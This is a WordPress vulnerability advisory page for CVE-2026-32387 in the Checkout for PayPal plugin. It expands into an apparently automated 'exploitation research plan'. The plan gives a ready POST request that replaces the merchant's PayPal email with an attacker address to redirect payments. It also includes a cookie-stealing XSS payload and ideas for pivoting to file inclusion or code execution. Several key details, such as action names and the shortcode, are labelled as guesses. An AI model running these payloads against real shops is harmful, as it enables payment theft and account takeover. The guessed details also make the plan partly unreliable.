Checkout for PayPal <= 1.0.46 - Missing Authorization
Description
The Checkout for PayPal plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.46. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.46Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-32387 ## 1. Vulnerability Summary The **Checkout for PayPal** (by PeachPay) plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 1.0.46. This vulnerability exists because a sensitive administrative function is registe…
Show full research plan
Exploitation Research Plan: CVE-2026-32387
1. Vulnerability Summary
The Checkout for PayPal (by PeachPay) plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.0.46. This vulnerability exists because a sensitive administrative function is registered via the wp_ajax_nopriv_ hook (allowing unauthenticated access) and fails to perform a capability check (e.g., current_user_can( 'manage_options' )) or a valid CSRF check (nonce verification). An unauthenticated attacker can exploit this to modify plugin settings, potentially redirecting payments or altering checkout behavior.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ppcp_save_settings(inferred) orcheckout_for_paypal_update_options(inferred). - Vulnerable Hook:
add_action( 'wp_ajax_nopriv_ppcp_save_settings', ... )(inferred). - Authentication: None required (Unauthenticated).
- Parameters:
action: The vulnerable AJAX action name.settings: An array or JSON string containing the configuration values to update.nonce: (Optional/Insecurely verified) A nonce might be required but is likely leaked or its verification is flawed.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.php. - Hook Trigger: WordPress processes the
actionparameter and triggers thewp_ajax_nopriv_[ACTION]hook. - Vulnerable Function: The hook calls a handler function (likely in a class like
Checkout_For_PayPal_Admin_AjaxorPeachPay_Settings). - Missing Check: The handler function processes the input without verifying if the user has administrative privileges.
- Sink: The function calls
update_option()or a similar database update method, overwriting the plugin's configuration (e.g.,ppcp_settingsorcheckout_for_paypal_settings).
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, it is typically localized into the page for legitimate AJAX operations.
- Identify Shortcode/Page: The plugin likely enqueues scripts on the admin settings page, but for unauthenticated exploitation, we need a frontend exposure. Check if the PayPal button appears on product pages or via a shortcode like
[peachpay]. - Create Test Page:
wp post create --post_type=page --post_title="Checkout" --post_status=publish --post_content='[peachpay]'(inferred shortcode). - Navigate: Use
browser_navigateto visit the newly created page. - Extract Nonce: Use
browser_evalto search for localized script data:browser_eval("window.ppcp_admin_data?.nonce")browser_eval("window.peachpay_config?.nonce")- Check the HTML source for
wp_localize_scriptblocks containing "nonce".
Note: If wp_ajax_nopriv_ is used without any check_ajax_referer, no nonce is required.
5. Exploitation Strategy
Step 1: Discover the Exact Action
Since source files are not provided, the first step is to identify the unauthenticated AJAX action.
- Search the plugin directory:
grep -r "wp_ajax_nopriv_" wp-content/plugins/checkout-for-paypal/ - Identify the function name associated with the action.
- Examine the function to see which option it updates (e.g.,
update_option( 'checkout_for_paypal_settings', ... )).
Step 2: Craft the Payload
If the target is updating the PayPal Merchant ID or Email to redirect funds:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=ppcp_save_settings&settings[merchant_id]=attacker@example.com&settings[enabled]=1
Step 3: Execute via http_request
// Example exploitation call
await http_request({
url: "http://localhost:8080/wp-admin/admin-ajax.php",
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "action=ppcp_save_settings&settings[paypal_email]=attacker-collector@example.com"
});
6. Test Data Setup
- Install and activate "Checkout for PayPal" version 1.0.46.
- Configure basic settings (e.g., set a dummy PayPal email).
- Identify a frontend page where the plugin is active to test unauthenticated access.
7. Expected Results
- Response: The server returns a
200 OKresponse, often with a JSON body like{"success": true}or1. - State Change: The plugin's configuration in the
wp_optionstable is modified to reflect the attacker's input.
8. Verification Steps
- Check Options via WP-CLI:
wp option get checkout_for_paypal_settings(or the specific option name identified). - Confirm Modification: Verify that the
paypal_emailormerchant_idmatches the value sent in the exploit payload. - Frontend Check: Visit the checkout page to see if the PayPal integration now reflects the changed settings (e.g., by inspecting the PayPal button's data attributes).
9. Alternative Approaches
- LFI/RCE Path: If the settings update allows changing a "Template Path" or "Upload Directory", attempt to pivot to Local File Inclusion or arbitrary file upload.
- XSS Path: If the settings are rendered in the admin dashboard without escaping, inject an XSS payload:
settings[paypal_email]="><script>alert(document.cookie)</script> - Action Search: If
ppcp_save_settingsdoes not exist, look for anywp_ajax_nopriv_registration that calls functions containingupdate_option,update_post_meta, orwp_insert_post.
Summary
The Checkout for PayPal plugin for WordPress (versions <= 1.0.46) is vulnerable to unauthorized access because it fails to perform capability checks on a function registered via an AJAX hook. This allows unauthenticated attackers to modify plugin settings, which could be leveraged to redirect payments or alter checkout behavior.
Exploit Outline
The exploit targets the '/wp-admin/admin-ajax.php' endpoint using a POST request. An attacker triggers an unauthenticated AJAX action (registered via 'wp_ajax_nopriv_') that is responsible for updating plugin settings. By providing a payload with the target action and an array of configuration parameters (such as 'paypal_email' or 'merchant_id'), the attacker can overwrite the plugin's settings. Because the handler lacks 'current_user_can()' checks and fails to verify a nonce, the request is processed without any authentication, allowing for a total takeover of the plugin's configuration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.